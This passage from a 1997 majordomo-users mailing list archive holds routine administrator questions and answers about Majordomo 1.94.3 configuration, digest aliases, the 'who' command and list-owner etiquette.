/export/archive/majordomo-1.94.3/lists has good permissions. --------------------------- log --------------------------- Good: logfile /export/archive/majordomo-1.94.3/Log exists and is writeable. ------------------------- Mailers ------------------------- You have defined a mailer for delivery. Attempting to verify that this is a valid mailer...looks okay. You have defined a mailer for delivering administrative messages. Attempting to verify that this is a valid mailer...looks okay. ------------------ Checking majordomo.cf ------------------ Checking to see if there are new variables that should be in your majordomo.cf file... Unknown configuration variables in existing majordomo.cf: $config'default_subscribe_policy $max_loadavg $uptime Have you configured where Majordomo is? $whereami is east.isi.edu Good: yup! ----------------------- end of tests ----------------------- Nothing bad found! Majordomo _should_ work correctly. If it doesn't, check your configuration file (/export/archive/majordomo-1.94.3/majordomo.cf) closely, and if it still looks okay, consider asking the majordomo-users mailing list at "majordomo-users@greatcircle.com" for assistance. Be sure and fully specify what your problems are, and what type of machine (and operating system) you are using. Enjoy! From owner-majordomo-users-outgoing Wed Jun 11 08:31:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA05426 for majordomo-users-outgoing; Wed, 11 Jun 1997 05:33:47 -0700 (PDT) Received: from gate.insite.co.uk (gate.insite.co.uk [193.123.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA05395 for ; Wed, 11 Jun 1997 05:33:35 -0700 (PDT) Received: from picard.insite.co.uk (picard.verity.com [192.168.70.35]) by gate.insite.co.uk (8.6.9/8.6.12) with SMTP id MAA24848 for ; Wed, 11 Jun 1997 12:33:32 GMT Received: by picard.insite.co.uk with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63) id <01BC7663.DD4F1A80@picard.insite.co.uk>; Wed, 11 Jun 1997 12:34:54 -0000 Message-ID: From: Peter Bowyer To: "'majordomo-users@greatcircle.com'" Subject: RE: restricting the who command Date: Wed, 11 Jun 1997 12:34:50 -0000 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk You need to upgrade - 1.94.x versions have much more control over this. You can disable 'who' completely. Peter >---------- >From: rem@math.ams.org[SMTP:rem@math.ams.org] >Sent: Wednesday, June 11, 1997 12:00 PM >To: majordomo-users@greatcircle.com >Subject: restricting the who command > > >Hello Everyone, > >I am running ver 1.93 of MajorDomo. I am looking >for a way to completely restrict the who command. >I know that I can set private_who to yes, but I >don't want anybody to be able to get a listin of >who is on a particular list. > >Any ideas? > > >Thanks, > > >Bob Morse >System Administrator >American Mathematical Society > > > From owner-majordomo-users-outgoing Wed Jun 11 08:41:22 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA23239 for majordomo-users-outgoing; Wed, 11 Jun 1997 08:30:30 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA23209 for ; Wed, 11 Jun 1997 08:30:21 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id KAA04536 for ; Wed, 11 Jun 1997 10:34:46 -0500 Date: Wed, 11 Jun 1997 10:34:44 -0500 (CDT) From: Mitchell Leben To: majordomo-users@GreatCircle.COM Subject: Posting to own lists? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Is there any general wisdom on the netiquette of posting to a list that one runs? Seems to me that usually the lists admins are rather quiet and only speak up when there is a problem or issue concerning the list. Comments? ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Wed Jun 11 09:26:42 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA25782 for majordomo-users-outgoing; Wed, 11 Jun 1997 08:52:53 -0700 (PDT) Received: from FSM-1.PICA.ARMY.MIL (fsm-1.pica.army.mil [129.139.164.101]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA25747 for ; Wed, 11 Jun 1997 08:52:41 -0700 (PDT) Date: Wed, 11 Jun 97 11:54:11 EDT From: Info-LabVIEW List Maintainer To: majordomo-users@greatcircle.com Subject: users posting directly to digest? Organization: SADARM SPICE Team, US Army ARDEC, Picatinny Arsenal, NJ Message-ID: <9706111154.aa23938@fsm-1.pica.army.mil> Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I help admin a list which has 2 variants, individual msg (list@site) and digest (list-digest@site). Any known way, using majordomo 1.9.4, to keep people from successfully sending mail to list-digest? Thanks... Tom Coradeschi, Info-LabVIEW List Maintainer http://k-whiner.pica.army.mil/info-labview/info-labview.html From owner-majordomo-users-outgoing Wed Jun 11 09:29:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA28998 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:10:53 -0700 (PDT) Received: from math.ams.org (math.ams.org [130.44.210.14]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA28953 for ; Wed, 11 Jun 1997 09:10:33 -0700 (PDT) From: rem@MATH.AMS.ORG Received: from axp14.ams.org by math.ams.org via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 11 Jun 1997 16:11:38 UT Received: from epsilon.ams.org by AXP14.AMS.ORG (PMDF V5.1-8 #16534) with SMTP id <01IJY29HRC3K001Y1D@AXP14.AMS.ORG> for majordomo-users@GreatCircle.COM; Wed, 11 Jun 1997 12:11:35 EST Received: from localhost by epsilon.ams.org; (5.65v3.2/1.1.8.2/12Oct95-1155AM) id AA05804; Wed, 11 Jun 1997 12:11:33 -0400 Date: Wed, 11 Jun 1997 12:11:32 -0400 Subject: SUMMARY: restricting the who command To: majordomo-users@GreatCircle.COM Message-id: <9706111611.AA05804@epsilon.ams.org> X-MTS: smtp Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Many thanks to: Dave Wolfe From owner-majordomo-users-outgoing Wed Jun 11 10:19:06 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA26412 for majordomo-users-outgoing; Wed, 11 Jun 1997 08:56:09 -0700 (PDT) Received: from europe.std.com (europe.std.com [199.172.62.20]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA26323 for ; Wed, 11 Jun 1997 08:55:39 -0700 (PDT) Received: from world.std.com by europe.std.com (8.7.6/BZS-8-1.0) id LAA03553; Wed, 11 Jun 1997 11:56:44 -0400 (EDT) Received: by world.std.com (5.65c/Spike-2.0) id AA06277; Wed, 11 Jun 1997 11:56:44 -0400 Message-Id: <199706111556.AA06277@world.std.com> To: Mitchell Leben Cc: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: Your message of "Wed, 11 Jun 1997 10:34:44 EDT." Date: Wed, 11 Jun 1997 11:56:43 -0400 From: Elizabeth Lear Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk It's fully up to each person. I personally run about 35 lists, and I post regularly to three or four of them. Several others I skim over and post once in a great while (and list members comment that I've "popped up"), and for all the rest I only get involved if there's a problem. But that's because either the list volume is too high for me to read regularly or those, or because my interest in the list subject has waned. Usually the latter. ...eliz From owner-majordomo-users-outgoing Wed Jun 11 10:25:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA29416 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:13:26 -0700 (PDT) Received: from math.ams.org (math.ams.org [130.44.210.14]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA29385 for ; Wed, 11 Jun 1997 09:13:16 -0700 (PDT) From: rem@MATH.AMS.ORG Received: from axp14.ams.org by math.ams.org via smtpd (for honor.greatcircle.com [198.102.244.44]) with SMTP; 11 Jun 1997 16:14:23 UT Received: from epsilon.ams.org by AXP14.AMS.ORG (PMDF V5.1-8 #16534) with SMTP id <01IJY2CYDXO0001YUC@AXP14.AMS.ORG> for majordomo-users@GreatCircle.COM; Wed, 11 Jun 1997 12:14:22 EST Received: from localhost by epsilon.ams.org; (5.65v3.2/1.1.8.2/12Oct95-1155AM) id AA05673; Wed, 11 Jun 1997 12:14:22 -0400 Date: Wed, 11 Jun 1997 12:14:21 -0400 Subject: SUMMARY: restricting the who command To: majordomo-users@GreatCircle.COM Message-id: <9706111614.AA05673@epsilon.ams.org> X-MTS: smtp Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk (Please disregard my previous message) Many thanks to: Dave Wolfe Jim Reisert Peter Bowyer They all suggested that I upgrade to MajorDomo 1.94.3 to get the functionality that I needed. I installed it with no problems and I can completely restrict the who command. Thanks again, Bob Morse System Administrator American Mathematical Society From owner-majordomo-users-outgoing Wed Jun 11 10:31:37 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA26498 for majordomo-users-outgoing; Wed, 11 Jun 1997 08:56:26 -0700 (PDT) Received: from lists.oulu.fi (lists.oulu.fi [130.231.241.85]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA26337 for ; Wed, 11 Jun 1997 08:55:41 -0700 (PDT) Received: from localhost (mhotti@localhost) by lists.oulu.fi (8.8.6/8.8.6) with SMTP id SAA26395 for ; Wed, 11 Jun 1997 18:56:42 +0300 Date: Wed, 11 Jun 1997 18:56:42 +0300 (EET DST) From: Marko Hotti To: majordomo-users@greatcircle.com Subject: Re: Posting to own lists? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 11 Jun 1997, Mitchell Leben wrote: > Is there any general wisdom on the netiquette of posting to a list that > one runs? Seems to me that usually the lists admins are rather quiet and > only speak up when there is a problem or issue concerning the list. I'm afraid I don't understand this question... If *you* run a mailing list, it is totally up to you to decide about the list netiquette and your posting frequency. I run about 20 mailing lists, subscribe to all of them but participate totally according to my personal interests and available time. A good list owner always keeps track on what's going on in his lists and interfere if things are getting too wild. Otherwise, I don't see why he/she should make some special efforts just to make noise out of him/herself. /Marko -- Marko Hotti Systems Administrator Oulu University CSC / List Services Finland From owner-majordomo-users-outgoing Wed Jun 11 10:41:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA26580 for majordomo-users-outgoing; Wed, 11 Jun 1997 08:57:01 -0700 (PDT) Received: from ns.kreative.net ([208.0.26.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA26546 for ; Wed, 11 Jun 1997 08:56:44 -0700 (PDT) Received: from default (dial53.kreative.net [208.0.26.68]) by ns.kreative.net (8.8.4/8.7.3) with SMTP id LAA22775; Wed, 11 Jun 1997 11:46:50 -0400 (EDT) Message-ID: <339ECB08.9C1@kreative.net> Date: Wed, 11 Jun 1997 11:58:00 -0400 From: gnat Reply-To: gnat@kreative.net Organization: Kreative Access X-Mailer: Mozilla 3.01C-KIT (Win95; I) MIME-Version: 1.0 To: Dave Wolfe CC: majordomo-users@greatcircle.com Subject: Re: how can you tell... References: <199706111508.KAA21166@miaow.risc.sps.mot.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Thanks. Ok I looked in the readme file and found this: MAJORDOMO ABORT - This error occurs anytime some anomaly occurs during the majordomo run. It causes majordomo to send an error message to the majordomo owner, and exit immediately. so that means that MJ quits?? even if its not all the way through the list?? I checked the log file and doesnt give me any info on whether or not MJ did what it was supposed to do. There is no way of telling whether the entire list gets posted?? Would a logical way to ensure that the list gets the post is to have the owner/admin be in the list also and have them the last member of the list?? This list I have is a newsletter sent out each month, so I can ensure that the last member of the list could be me the admin. The customer who owns the list doesnt want to have to repost and ask his list members whether or not they got the newsletter. He wants his service to be as professional as possible, and having to say "ahh.. did you get the email??" would nt look too good. rich Dave Wolfe wrote: > > [ gnat writes: ] > > > > MAJORDOMO ABORT > > > > Mailer /usr/sbin/sendmail -oi -fowner-ferretnewserv@ns.kreative.net > > ferretnewserv-list exited unexpectedly with error 17152 > > See the README file. > > -- > Dave Wolfe From owner-majordomo-users-outgoing Wed Jun 11 10:42:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA03363 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:32:53 -0700 (PDT) Received: from east.isi.edu (east.isi.edu [38.245.76.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA03220 for ; Wed, 11 Jun 1997 09:32:24 -0700 (PDT) Received: from east by east.isi.edu (8.8.5/5.61+local-24) id ; Wed, 11 Jun 1997 12:33:24 -0400 (EDT) Date: Wed, 11 Jun 1997 12:33:24 -0400 (EDT) From: Forrest Houston X-Sender: fhouston@east To: majordomo-users@greatcircle.com Subject: Re: 1.94.3 install - problems In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I just wanted to let everyone know that I got the problem fixed. It turned out to be a perl problem instead of majordomo itself. Thanks for the help Forrest Houston SysAdmin USC/ISI - IPCe From owner-majordomo-users-outgoing Wed Jun 11 10:54:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA14667 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:38:43 -0700 (PDT) Received: from a2snet.alpha2.COM (a2snet.alpha2.com [207.95.173.2]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA14620 for ; Wed, 11 Jun 1997 10:38:25 -0700 (PDT) Received: from localhost (todd@localhost) by a2snet.alpha2.COM (8.8.4/8.8.4) with SMTP id NAA04807; Wed, 11 Jun 1997 13:39:01 -0400 X-Authentication-Warning: a2snet.alpha2.com: todd owned process doing -bs Date: Wed, 11 Jun 1997 13:39:01 -0400 (EDT) From: Todd Fencl || Information Manager cc: Mitchell Leben , majordomo-users@greatcircle.com Subject: Re: Posting to own lists? In-Reply-To: <199706111556.AA06277@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I usually run about the same. I don't 'monitor' any of the lists that I admin, but I have been known to show my face every once in a while. I am a regular in about 4-5 lists though that I have interest in. --end-- Todd Fencl todd@alpha2.com Information Manager www.alpha2.com Alpha II Service Inc 614.868.5033 From owner-majordomo-users-outgoing Wed Jun 11 10:55:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA05631 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:42:23 -0700 (PDT) Received: from mail1.panix.com (mail1.panix.com [198.7.0.32]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA05606 for ; Wed, 11 Jun 1997 09:42:15 -0700 (PDT) Received: from [38.217.47.2] ([38.217.47.2]) by mail1.panix.com (8.8.5/8.7.1/PanixM1.0) with ESMTP id MAA19198 for ; Wed, 11 Jun 1997 12:43:19 -0400 (EDT) Message-Id: In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Wed, 11 Jun 1997 12:41:17 -0500 To: majordomo-users@GreatCircle.COM From: "Kent S. Larsen II" Subject: Moderating a digest Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I haven't tried this yet, but I need to moderate the digest before it goes o= ut. The situation: I have a moderated list. It is set up to use majordomo's digest option, and the posts to the list are accumulated and sent to the digest list. If I simply configure the digest list to be moderated, will the digests be sent to me for approval? or will the digest program automatically approve the digests? Just wondering! Kent Kent S. "Kip" Larsen II; KLarsen@panix.com or KLarsen@NorthSouth.com (work). Pass the SPAM ban! Ask your Congressperson to support CAUCE http://www.cauce.org From owner-majordomo-users-outgoing Wed Jun 11 10:56:16 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA15717 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:49:04 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA15701 for ; Wed, 11 Jun 1997 10:48:55 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA07116; Wed, 11 Jun 1997 12:49:56 -0500 (CDT) To: Info-LabVIEW List Maintainer Cc: majordomo-users@GreatCircle.COM Subject: Re: users posting directly to digest? References: <9706111154.aa23938@fsm-1.pica.army.mil> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 11 Jun 1997 12:49:55 -0500 In-Reply-To: Info-LabVIEW List Maintainer's message of Wed, 11 Jun 97 11:54:11 EDT Message-ID: Lines: 25 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "ILM" == Info-LabVIEW List Maintainer writes: ILM> I help admin a list which has 2 variants, individual msg (list@site) ILM> and digest (list-digest@site). Any known way, using majordomo 1.9.4, ILM> to keep people from successfully sending mail to list-digest? Normally that's just an alias like: list-digest: list and the digestification is run off of the outgoing alias of 'list'. I don't think anything in Majordomo needs a list-digest alias defined; you could simply delete it. But then again it sounds more like you have: list-outgoing: :include:blah, list-digest list-digest: | to digest In which case just do s/list-digest/list-DEADBEEF/ or whatever. If I'm wrong, just show the relevant aliases and I'm sure we can come up with something. - J< From owner-majordomo-users-outgoing Wed Jun 11 11:03:38 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA10796 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:13:11 -0700 (PDT) Received: from FSM-1.PICA.ARMY.MIL (fsm-1.pica.army.mil [129.139.164.101]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA10700 for ; Wed, 11 Jun 1997 10:12:53 -0700 (PDT) Date: Wed, 11 Jun 97 13:14:21 EDT From: Info-LabVIEW List Maintainer To: majordomo-users@greatcircle.com Subject: Re: users posting directly to digest? Organization: SADARM SPICE Team, US Army ARDEC, Picatinny Arsenal, NJ Message-ID: <9706111314.aa25304@fsm-1.pica.army.mil> Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >On Wed, 11 Jun 1997, Info-LabVIEW List Maintainer wrote: > >> I help admin a list which has 2 variants, individual msg (list@site) and >> digest (list-digest@site). Any known way, using majordomo 1.9.4, to keep >> people from successfully sending mail to list-digest? > >set the alias for list-digest to be list > >list-digest: list OK. Now, how do I do this if I don't have root access to the machine? Tom Coradeschi, Info-LabVIEW List Maintainer http://k-whiner.pica.army.mil/info-labview/info-labview.html From owner-majordomo-users-outgoing Wed Jun 11 11:04:37 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA04607 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:38:42 -0700 (PDT) Received: from jaguar.cis.um.edu.mt ([193.188.43.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA04505 for ; Wed, 11 Jun 1997 09:38:20 -0700 (PDT) Received: (from cmeli@localhost) by jaguar.cis.um.edu.mt (8.8.5/8.8.1-CISNET) id SAA09625; Wed, 11 Jun 1997 18:44:33 +0100 (GMT+0100) Date: Wed, 11 Jun 1997 18:44:33 +0100 (GMT+0100) Message-Id: <199706111744.SAA09625@jaguar.cis.um.edu.mt> X-Comment: Refuse all traffic from AGIS due to their massive network abuse From: Clyde Meli Subject: Re: Posting to own lists? To: Mitchell Leben , majordomo-users@GreatCircle.COM In-Reply-To: Mitchell Leben's message of Wed, 11 Jun 1997 10:34:44 -0500 (CDT) Organisation: University of Malta X-Url: "http://www.cis.um.edu.mt/links/mnr" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > Is there any general wisdom on the netiquette of posting to a list that > one runs? Seems to me that usually the lists admins are rather quiet and > only speak up when there is a problem or issue concerning the list. > > Comments? > > ---------------------------- > Mitchell Leben > mitch@leben.com > http://www.leben.com/~mitch > ---------------------------- > For me this depends on how busy I am. If I'm not busy I can post quite a bit, but when I'm busy I might not post for weeks at a stretch (assuming the list has quite a bit of traffic). From owner-majordomo-users-outgoing Wed Jun 11 11:11:03 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA17704 for majordomo-users-outgoing; Wed, 11 Jun 1997 11:05:20 -0700 (PDT) Received: from gateway.virtus.com (gateway.virtus.com [199.72.84.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA17666 for ; Wed, 11 Jun 1997 11:05:11 -0700 (PDT) Received: from [199.72.84.29] (zenge-mac.virtus.com [199.72.84.29]) by gateway.virtus.com (8.8.5/8.7.3) with SMTP id OAA32095 for ; Wed, 11 Jun 1997 14:05:09 -0400 X-Sender: peterz@mail.virtus.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Wed, 11 Jun 1997 14:06:08 -0500 To: majordomo-users@GreatCircle.COM From: peter.zenge@virtus.com (Peter Zenge) Subject: digests and subject prefixes Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Like many people, we choose to prefix the subject line with [listname] for individual posts. I'm playing around with digests now, and the subject-line listing is really ugly because of that prefix on each line. Is there an easy patch to allow stripping the prefix out of the subject lines as the digest is generated? Or should I just call an external shell script to do it for me as the digest is being created? Someone must have done this before... ----8<----------8<----------8<-------- Peter Zenge (peter.zenge@virtus.com) Systems Administrator, Virtus Corporation Cary, North Carolina (919) 467-9700 x 3040 fax: (919) 460-4530 visit our website at http://www.virtus.com From owner-majordomo-users-outgoing Wed Jun 11 11:13:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA11649 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:20:03 -0700 (PDT) Received: from queernet.queernet.org (queernet.queernet.org [140.174.78.69]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA11591 for ; Wed, 11 Jun 1997 10:19:49 -0700 (PDT) Received: from localhost (rogerk@localhost) by queernet.queernet.org (8.8.5/8.8.5) with SMTP id KAA29114 Date: Wed, 11 Jun 1997 10:19:18 -0700 (PDT) From: "Roger B.A. Klorese" To: Info-LabVIEW List Maintainer cc: majordomo-users@GreatCircle.COM Subject: Re: users posting directly to digest? In-Reply-To: <9706111154.aa23938@fsm-1.pica.army.mil> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 11 Jun 1997, Info-LabVIEW List Maintainer wrote: > I help admin a list which has 2 variants, individual msg (list@site) and > digest (list-digest@site). Any known way, using majordomo 1.9.4, to keep > people from successfully sending mail to list-digest? Why would you need to? If you just point xxx-digest at xxx, mail will be handled correctly. -- ROGER B.A. KLORESE rogerk@QueerNet.ORG 2215-R Market Street #576 San Francisco, CA 94114 +1 415 ALL-ARFF "There is only one real blasphemy -- the refusal of joy!" -- Paul Rudnick From owner-majordomo-users-outgoing Wed Jun 11 11:14:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA01621 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:25:05 -0700 (PDT) Received: from terrania.westfalen.de (terrania.westfalen.de [195.52.199.238]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA01560 for ; Wed, 11 Jun 1997 09:24:49 -0700 (PDT) Received: from localhost by terrania.westfalen.de via sendmail with smtp id for ; Wed, 11 Jun 1997 18:25:46 +0200 (CEST) (Smail-3.2 1996-Jul-4 #1 built 1996-Nov-18) Date: Wed, 11 Jun 1997 18:25:45 +0200 (CEST) From: Daniel Schneider To: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, On Wed, 11 Jun 1997, Mitchell Leben wrote: > Is there any general wisdom on the netiquette of posting to a list that > one runs? Seems to me that usually the lists admins are rather quiet and > only speak up when there is a problem or issue concerning the list. I think it depends on the topic. When the list is not moderated, why should the list-owner not post himself? He may add his wisdom and capabilities to the topic as well. Daniel Schneider http://www.westfalen.de/terrania/ http://www.westfalen.de/terrania/english.html (English) From owner-majordomo-users-outgoing Wed Jun 11 11:16:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA15391 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:45:20 -0700 (PDT) Received: from boss1.bossnt.com (boss1.bossnt.com [198.150.37.6]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA15352 for ; Wed, 11 Jun 1997 10:45:05 -0700 (PDT) Received: from toshiba1.gdma.com (slip129-37-200-226.wi.us.ibm.net [129.37.200.226]) by boss1.bossnt.com (8.8.5/8.8.5) with SMTP id MAA08664 for ; Wed, 11 Jun 1997 12:04:47 -0500 Message-Id: <199706111704.MAA08664@boss1.bossnt.com> From: "Gary McClellan" To: "majordomo-users@greatcircle.com" Date: Wed, 11 Jun 97 12:43:30 -0600 Reply-To: "Gary McClellan" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: FAQ Material? Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Here is my first attempt at some info for the FAQ ... comments/critique very welcome! ================================================================== Q. I'm runninng my lists with restrict_post and have a list.config entry like: restrict_post: list list-digest list-posters where list-posters is a list of alternate IDs for list subscribers. I'd like to be able to maintain the list-posters file via EMail. How can I do that? A. Create another list for list-posters. Make the list closed and not advertised. Set up your list-posters aliases like: list-posters:nobody list-posters-approval:nobody owner-list-posters:nobody (where nobody is /dev/null) Then you can do approve list.passwd subscribe list-posters someone@somewhere.com to maintain the alternate subscriber information. ================================================================== From owner-majordomo-users-outgoing Wed Jun 11 11:21:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA16875 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:58:42 -0700 (PDT) Received: from atheria.europa.com (atheria.europa.com [199.2.194.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id KAA16868 for ; Wed, 11 Jun 1997 10:58:37 -0700 (PDT) Received: from thetics.europa.com(really [199.2.194.14]) by atheria.europa.com via sendmail with smtp id for ; Wed, 11 Jun 1997 10:59:44 -0700 (PDT) (Smail-3.2.0.91 1997-Jan-14 #4 built 1997-Jan-19) Date: Wed, 11 Jun 1997 10:59:44 -0700 (PDT) From: kali To: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: <199706111556.AA06277@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > It's fully up to each person. I personally run about 35 lists, and I > post regularly to three or four of them. Several others I skim over > and post once in a great while (and list members comment that I've > "popped up"), and for all the rest I only get involved if there's a > problem. But that's because either the list volume is too high for me > to read regularly or those, or because my interest in the list subject > has waned. Usually the latter. Just be careful not to get too personally involved with alot of list members, I find it harder to send "warnings" to those that are "friends" and some seem to push the rules a little bit more if they think they are special. -kali From owner-majordomo-users-outgoing Wed Jun 11 11:25:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA14102 for majordomo-users-outgoing; Wed, 11 Jun 1997 10:35:21 -0700 (PDT) Received: from spock.leben.com ([198.64.225.34]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA14008 for ; Wed, 11 Jun 1997 10:35:03 -0700 (PDT) Received: from localhost (mitch@localhost) by spock.leben.com (8.8.5/8.8.5) with SMTP id MAA05138; Wed, 11 Jun 1997 12:39:18 -0500 Date: Wed, 11 Jun 1997 12:39:16 -0500 (CDT) From: Mitchell Leben To: Elizabeth Lear cc: majordomo-users@GreatCircle.COM Subject: Re: Posting to own lists? In-Reply-To: <199706111556.AA06277@world.std.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Thanks to several people who responded on this question. The consensus seems to be "sure, go ahead!" In my case (and I am guessing is often the case), I create/administer lists that I am interested in. On Wed, 11 Jun 1997, Elizabeth Lear wrote: > It's fully up to each person. I personally run about 35 lists, and I > post regularly to three or four of them. Several others I skim over > and post once in a great while (and list members comment that I've > "popped up"), and for all the rest I only get involved if there's a > problem. But that's because either the list volume is too high for me > to read regularly or those, or because my interest in the list subject > has waned. Usually the latter. ---------------------------- Mitchell Leben mitch@leben.com http://www.leben.com/~mitch ---------------------------- From owner-majordomo-users-outgoing Wed Jun 11 11:26:07 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA02939 for majordomo-users-outgoing; Wed, 11 Jun 1997 09:30:59 -0700 (PDT) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA02871 for ; Wed, 11 Jun 1997 09:30:37 -0700 (PDT) Received: from East.Sun.COM ([129.148.1.241]) by 